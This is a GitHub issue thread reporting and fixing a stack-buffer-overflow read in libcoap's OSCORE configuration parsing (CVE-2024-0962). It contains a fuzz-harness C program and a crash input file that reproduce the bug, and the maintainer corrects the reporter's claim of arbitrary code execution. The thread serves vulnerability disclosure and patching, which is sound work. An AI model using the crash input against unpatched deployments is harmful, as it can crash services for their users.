Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Stack-buffer-overflow in libcoap #1310

Closed
msxfXF opened this issue Jan 25, 2024 · 9 comments · Fixed by #1311
Closed

Stack-buffer-overflow in libcoap #1310

msxfXF opened this issue Jan 25, 2024 · 9 comments · Fixed by #1311

Comments

@msxfXF
Copy link

msxfXF commented Jan 25, 2024

Environment

  • Build System: [Make]
  • Operating System: [Linux]
  • Operating System Version: [Ubuntu 20.04]
  • Hosted Environment: [None]

Report

  • [1] Vulnerabilities:

Stack-buffer-overflow in libcoap.

  • [2] Affected Versions:

Unspecified version (additional versions could also be affected).

  • [3] Vulnerability Type:

CWE-121: Stack Based Buffer Overflow

  • [4] Vendor of Product:

Libcoap

  • [5] Attack Type:

Local.

  • [6] Impact:

Potential code execution, crash, etc. Permit the attacker to execute arbitrary code on affected installations.

  • [7] Mitigation:

Overflow occurs in the handling of an input file in coap_new_oscore_conf() function. Proper boundary checking of the input file can provide a potential fix.

  • [8] Reproducing the Issue:

file overflow-1.c

//
// Created by msxfxf on 24-1-24.
//
// afl-clang-fast overflow-1.c -v -I../include -I../ -lssl -lcrypto ../libcoap/.libs/libcoap-3-openssl.a  -g -fsanitize=address -o overflow

#include "fcntl.h"
#include "unistd.h"
#include "coap3/coap_internal.h"
#include "oscore/oscore.h"
#include "oscore/oscore_context.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAX_LEN 1024

int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
    coap_context_t ctx[1];
    coap_oscore_conf_t *oscore_conf;
    cose_encrypt0_t cose[1];
    uint8_t nonce_buffer[13];
    coap_bin_const_t nonce = { 13, nonce_buffer };

    if (Size < 1 || Size > MAX_LEN)
        return 0;

    const coap_str_const_t conf = { Size, Data };

    memset(&ctx, 0, sizeof(ctx));
    oscore_conf = coap_new_oscore_conf(conf, NULL, NULL, 0);

    oscore_free_contexts(ctx);
    coap_delete_oscore_conf(oscore_conf);
    return 0;
}

#ifndef TESTING
int main(int argc, char **argv)
{
    uint8_t Data[MAX_LEN];
    size_t Size;
    int fd;

    if (argc != 2)
    {
        printf("Usage: %s <file>\n", argv[0]);
        return 0;
    }

    fd = open(argv[1], O_RDONLY);
    if (fd < 0)
    {
        perror("Error opening file");
        return 1;
    }

    Size = read(fd, Data, MAX_LEN);

    printf("Read %lu bytes from %s\n", Size, argv[1]);

    LLVMFuzzerTestOneInput(Data, Size);
    close(fd);
    return 0;
}
#endif

file: crash0

#astsi0
hem,hex_aster_secret,hex,"0102030405060708090a0b0c0d0e0f1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111$11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111110"

Command: ./overflow-1 ./crash0.

Screenshot:

image image
@mrdeep1
Copy link
Collaborator

mrdeep1 commented Jan 25, 2024

@msxfXF Thank you for raising this. I can see how there is a potential issue, but cannot reproduce what you are seeing. I am seeing (because there appears to be a '\000' immediately after Data)

$ ./a.out /tmp/crash0
Read 1024 bytes from /tmp/crash0
Jan 25 12:58:20.103 WARN oscore_conf: master_secret not defined

What version of libcoap are you using?

  • If you are using git, what is the output from git describe --tags --dirty --always ?

How did you build the libcoap library?

  • If you have get_config.sh in the top level libcoap directory - what is the output?

@msxfXF
Copy link
Author

msxfXF commented Jan 25, 2024

@mrdeep1
Hi, here is more information. I hope it will be useful to your work.

What version of libcoap are you using?

$ git describe --tags --dirty --always
v4.3.4-50-gc7c3275e-dirty

How did you build the libcoap library?

$ ./get_config.sh

Last ./configure build

libcoap package version        : "4.3.4"
libcoap package source         : "v4.3.4-50-gc7c3275e"
libcoap API version            : "3"
libcoap ABI version            : "3.1.1"
libcoap libtool SO version     : "4.1.1"
libcoap DTLS lib extn          : "-openssl"
host system                    : "x86_64-pc-linux-gnu"
build with server support      : "yes"
build with client support      : "yes"
build with IPv4 support        : "yes"
build with IPv6 support        : "yes"
build with Unix socket support : "yes"
build with TCP support         : "yes"
build DTLS support             : "yes"
   -->  OpenSSL around         : "yes" (found OpenSSL 1.1.1f)
        OPENSSL_CFLAGS         : ""
        OPENSSL_LIBS           : "-lssl -lcrypto"
add default names              : "yes"
build Observe Persist          : "yes"
build using epoll              : "yes"
enable small stack size        : "no"
enable separate responses      : "yes"
enable OSCORE support          : "yes"
enable Q-Block support         : "yes"
enable max logging level       : "none"
enable thread safe code        : "yes"
enable recursive lock check    : "yes"
build doxygen pages            : "no"
build man pages                : "no"
build unit test binary         : "no"
build examples                 : "yes"
install examples source        : "yes"
build with gcov support        : "no"
build shared library           : "yes"
build static library           : "yes"

Last cmake build in ./cmake-build-debug

CMake Deprecation Warning at CMakeLists.txt:77 (cmake_policy):
  The OLD behavior for policy CMP0115 will be removed from a future version
  of CMake.

  The cmake-policies(7) manual explains that the OLD behaviors of all
  policies are deprecated and that a policy should be set to OLD only under
  specific short-term circumstances.  Projects should be ported to the NEW
  behavior and not rely on setting a policy to OLD.


CMake Warning at CMakeLists.txt:878 (message):
  Doxygen need to be installed to generate the doxygen documentation


PACKAGE VERSION..................4.3.4
PACKAGE SOURCE...................v4.3.4-50-gc7c3275e-dirty
LIBRARY API VERSION..............3
LIBRARY ABI VERSION..............3.1.1
ENABLE_DTLS:.....................ON
ENABLE_TCP:......................ON
ENABLE_IPV4:.....................ON
ENABLE_IPV6:.....................ON
ENABLE_AF_UNIX:..................ON
ENABLE_WEBSOCKETS:...............ON
ENABLE_Q_BLOCK:..................ON
ENABLE_CLIENT_MODE:..............ON
ENABLE_SERVER_MODE:..............ON
ENABLE_OSCORE:...................ON
ENABLE_ASYNC:....................ON
ENABLE_THREAD_SAFE:..............ON
ENABLE_THREAD_RECURSIVE_CHECK....OFF
ENABLE_DOCS:.....................ON
ENABLE_EXAMPLES:.................ON
DTLS_BACKEND:....................default
WITH_GNUTLS:.....................OFF
WITH_TINYDTLS:...................OFF
WITH_OPENSSL:....................ON
WITH_MBEDTLS:....................OFF
HAVE_LIBTINYDTLS:................
HAVE_LIBGNUTLS:..................
HAVE_LIBOPENSSL:.................1
HAVE_LIBMBEDTLS:.................
WITH_EPOLL:......................ON
WITH_OBSERVE_PERSIST:............ON
BUILD_SHARED_LIBS:...............OFF
MAX_LOGGING_LEVEL:...............8
WARNING_TO_ERROR:................OFF
CMAKE_C_COMPILER:................/usr/bin/cc
CMAKE_CXX_COMPILER_ID:...........GNU
CMAKE_BUILD_TYPE:................Debug
CMAKE_SYSTEM_PROCESSOR:..........x86_64
CMAKE_HOST_SYSTEM_NAME:..........Linux
CMAKE_GENERATOR:.................Ninja

@mrdeep1
Copy link
Collaborator

mrdeep1 commented Jan 25, 2024

Issue was with handling \r (carriage-return) (i.e. DOS format) in configuration file for a comment line, or empty line.

Please confirm that #1311 fixes what you found.

@msxfXF
Copy link
Author

msxfXF commented Jan 26, 2024

Thanks for your work #1311 , it's now working fine.

@msxfXF msxfXF closed this as completed Jan 26, 2024
@mrdeep1
Copy link
Collaborator

mrdeep1 commented Mar 2, 2024

Note: This is only locally exploitable (local configuration file is in DOS format, not Unix format that application reads at start-up), can cause the application to crash (but unlikely as it can potentially only read a limited number of characters past the end of the configuration buffer), there is no buffer overwrite and hence execution of arbitrary code.

@mrdeep1
Copy link
Collaborator

mrdeep1 commented Mar 6, 2024

Tag v4.3.4a has been created which includes the fix for CVE-2024-0962.

@kittener
Copy link

Hello, I encountered some problems when reproducing your work. The crash file be copied directly or what? If so, could you please send the crash file to me by email? My email address is [email protected]. Thank you very much~~

@mrdeep1
Copy link
Collaborator

mrdeep1 commented Sep 28, 2024

The configuration file that caused the crash is documented above. This file needs to be in dos format on a unix based system.

@kittener
Copy link

It works, thank you a lot~

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

3 participants